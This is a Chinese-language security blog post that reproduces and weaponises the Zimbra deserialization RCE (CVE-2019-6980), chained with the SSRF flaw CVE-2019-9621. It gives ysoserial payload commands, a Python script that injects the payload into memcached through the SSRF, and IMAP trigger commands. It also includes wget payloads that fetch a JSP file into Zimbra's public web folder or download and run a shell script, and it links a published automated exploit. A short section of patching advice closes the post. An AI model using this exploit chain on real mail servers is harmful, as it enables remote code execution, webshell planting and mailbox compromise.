Zimbra反序列化漏洞(CVE-2019-6980)利用测试
0x00 前言
Zimbra反序列化漏洞(CVE-2019-6980)适用于8.7.x至8.8.11的Zimbra邮件服务器,是一个远程代码执行漏洞。
考虑到距补丁公开日期已经超过两年,并且没有一个完整的可用POC,所以本文将要在技术研究的角度记录测试过程,开源利用脚本,分享细节。
0x01 简介
本文将要介绍以下内容:
- 本地漏洞复现
- 实际利用分析
- 开源利用脚本
- 防御建议
0x02 本地漏洞复现
参考资料:
https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html
https://blog.csdn.net/fnmsd/article/details/89235589?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.control&dist_request_id=1328603.11954.16149289993579653&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.control
(1)搭建环境
挑选符合漏洞版本的Zimbra邮件服务器,下载地址:
https://www.zimbra.com/downloads/zimbra-collaboration-open-source/archives/
具体搭建过程可参考其他资料
(2)创建用户
创建一个测试用户test1,命令如下:
/opt/zimbra/bin/zmprov ca test1@test.zimbra.com Password123 displayName
结果返回测试用户test1对应的zimbraId,格式为11111111-1111-1111-1111-111111111111
补充:其它常用命令
参考资料:https://wiki.zimbra.com/wiki/Zmprov
列出所有用户:
/opt/zimbra/bin/zmprov -l gaa
列出所有管理员用户:
/opt/zimbra/bin/zmprov gaaa
查看用户test1对应的zimbraId:
/opt/zimbra/bin/zmprov ga test1 zimbraId
(3)修改服务器配置
列出所有服务器:
/opt/zimbra/bin/zmprov gad
得到服务器名称test.zimbra.com
查看配置信息zimbraMemcachedClientServerList:
/opt/zimbra/bin/zmprov gs test.zimbra.com zimbraMemcachedClientServerList
默认返回结果为空
设置zimbraMemcachedClientServerList的值为127.0.0.1:
/opt/zimbra/bin/zmprov ms test.zimbra.com zimbraMemcachedClientServerList 127.0.0.1
(4)重启Zimbra
/opt/zimbra/bin/zmcontrol restart
注:
首次修改zimbraMemcachedClientServerList需要重启Zimbra
如果非首次修改zimbraMemcachedClientServerList,在设置后执行ReloadMemcachedClientConfig命令即可:
/opt/zimbra/bin/zmprov rmcc all
(5)生成Payload
这里需要使用ysoserial
命令如下:
java -jar ysoserial.jar MozillaRhino2 "/bin/touch /tmp/test12345" > test.obj
(6)登录测试用户test1,获得Cookie
通过浏览器登录测试用户test1,取出登录Cookie,信息如下:
0_8ef6794c8d0d991add9ebd717c09e7f7b69b8d76_69641d11161a19166611181165102d161411172d146218192d626611662d1516641717156217621062651b6578701d11111a111611111718161114121117161b76761d111a101b747970651d161a7a696d6272611b7469641d191a1211171011181914121b76657271696f6e1d11111a182e162e105f47415f111115111b617172661d111a111b;
(7)发送Payload
这里需要使用Python2.7
注:
使用Python3需要考虑byte数组的类型转换
Python2.7的代码如下:
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
accountid = "11111111-1111-1111-1111-111111111111"
folderNo= 2
modseq = 1
uidvalidity = 1
cacheKey ="zmImap:{accountId}:{folderNo}:{modseq}:{uidvalidity}".format(accountId=accountid,folderNo=str(folderNo),modseq=str(modseq),uidvalidity=str(uidvalidity))
print(cacheKey)
with open(r"test.obj","rb") as f:
payload = f.read()
set_command = b"set {cacheKey} 2048 3600 {payloadsize}\r\n".format(cacheKey=cacheKey,payloadsize=str(len(payload)))+payload+"\r\n"
headers = {
"Cookie":"ZM_ADMIN_AUTH_TOKEN=0_8ef6794c8d0d991add9ebd717c09e7f7b69b8d76_69641d11161a19166611181165102d161411172d146218192d626611662d1516641717156217621062651b6578701d11111a111611111718161114121117161b76761d111a101b747970651d161a7a696d6272611b7469641d191a1211171011181914121b76657271696f6e1d11111a182e162e105f47415f111115111b617172661d111a111b",
"host":"foo:7071"
}
r = requests.post("https://192.168.1.1/service/proxy?target=http://127.0.0.1:11211",data=set_command,headers=headers,verify=False)
print r.text
注:
以上代码修改自《Zimbra SSRF+Memcached+反序列化漏洞利用复现》
参数说明:
- accountid: 对应zimbraId
- folderNo: 2代表收件箱
- modseq: 对于新用户,默认为1
- uidvalidity: 对于新用户,默认为1
代码细节:
这里需要添加Cookie信息,填入普通用户登录后的token,名称设置为ZM_ADMIN_AUTH_TOKEN
,请求的地址为https://192.168.1.1/service/proxy?target=http://127.0.0.1:11211
,这是为了使用SSRF(CVE-2019-9621)漏洞将数据最终发送到11211端口
通常Zimbra不会对外开放11211端口,但是如果开放,可以将上面的代码修改为直接访问11211端口,不再需要借助SSRF(CVE-2019-9621)漏洞
(8)触发反序列化,执行代码
通过nc使用imap-ssl协议登录测试用户test1,访问收件箱,触发漏洞
命令如下:
ncat --ssl 192.168.1.1 993
a001 login test1@test.zimbra.com Password123
a001 select inbox
0x03 实际利用分析
1.适用条件
可分为以下两种情况:
(1)Zimbra服务器版本为8.7.x至8.8.11
能够访问imap-ssl端口(默认为993)
存在SSRF(CVE-2019-9621)漏洞
如果服务器未设置过zimbraMemcachedClientServerList,需要通过SSRF(CVE-2019-9621)漏洞设置为127.0.0.1并等待Zimbra重启
(2)Zimbra服务器版本为8.7.x至8.8.11
需要能够访问imap-ssl端口(默认为993)
不存在SSRF(CVE-2019-9621)漏洞
需要获得一个用户凭据(明文口令)
需要能够访问11211端口
zimbraMemcachedClientServerList的值需要设置为127.0.0.1
第二种情况过于苛刻,通常为第一种情况, 所以接下来介绍配合SSRF(CVE-2019-9621)漏洞的利用方法
2.利用流程
SSRF(CVE-2019-9621)漏洞的利用可使用之前开源的脚本Zimbra_SOAP_API_Manage.py
(1)创建用户
使用命令CreateAccountSSRF,创建新的用户
(2)查看配置
使用命令GetMemcachedClientConfigSSRF获得zimbraMemcachedClientServerList,如果结果不是127.0.0.1,需要重新设置
(3)设置zimbraMemcachedClientServerList
使用命令GetServerSSRF获得ServerID,用作参数
使用命令ModifyServerSSRF修改配置,名称为zimbraMemcachedClientServerList,值为127.0.0.1
(4)重新加载
使用命令ReloadMemcachedClientConfigSSRF,使得修改生效
(5)生成Payload
使用ysoserial中的MozillaRhino2功能
MozillaRhino2在代码实现上通过exec()方法实现执行Linux命令,这里需要注意exec()方法无法执行带有特殊字符的命令,例如|
>
也就说是,无法通过特殊字符>
实现文件写入操作
这里可以换用wget命令实现
命令示例1:直接下载jsp文件
java -jar ysoserial.jar MozillaRhino2 "/usr/bin/wget https://192.168.1.1/test.jsp --no-check-certificate -O /opt/zimbra/jetty/webapps/zimbra/public/test.jsp" > payload.obj
命令示例2:下载sh脚本,然后去执行
test.sh的内容如下:
#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/git/bin:/usr/local/sbin:~/bin
echo $PWD >/tmp/test
生成Payload的命令:
java -jar ysoserial.jar MozillaRhino2 "/usr/bin/wget https://192.168.1.1/test.sh --no-check-certificate -O /tmp/test.sh" > payload.obj
java -jar ysoserial.jar MozillaRhino2 "/bin/sh /tmp/test.sh" > payload.obj
(6)执行脚本Zimbra_deserialization_RCE(CVE-2019-6980).py
Zimbra_deserialization_RCE(CVE-2019-6980).py自动实现以下操作:
- 登录用户,获得Cookie
- 通过GetAccountInfoRequest获得用户对应的zimbraId
- 通过SSRF(CVE-2019-9621)漏洞向11211端口发送Payload
- 使用imap-ssl协议登录用户,访问收件箱,触发反序列化漏洞,执行代码
代码已上传至github,地址如下:
https://github.com/3gstudent/Homework-of-Python/blob/master/Zimbra_deserialization_RCE(CVE-2019-6980).py
这里需要注意,Python使用imaplib实现imap-ssl协议时,能够获得uidvalidity的值,但无法获得modseq的值
0x04 防御建议
升级版本,安装补丁
禁止从外部访问11211端口
禁止从外部访问7071端口
0x05 小结
本文介绍了Zimbra反序列化漏洞(CVE-2019-6980)的测试过程,开源利用脚本Zimbra_deserialization_RCE(CVE-2019-6980).py,分享细节。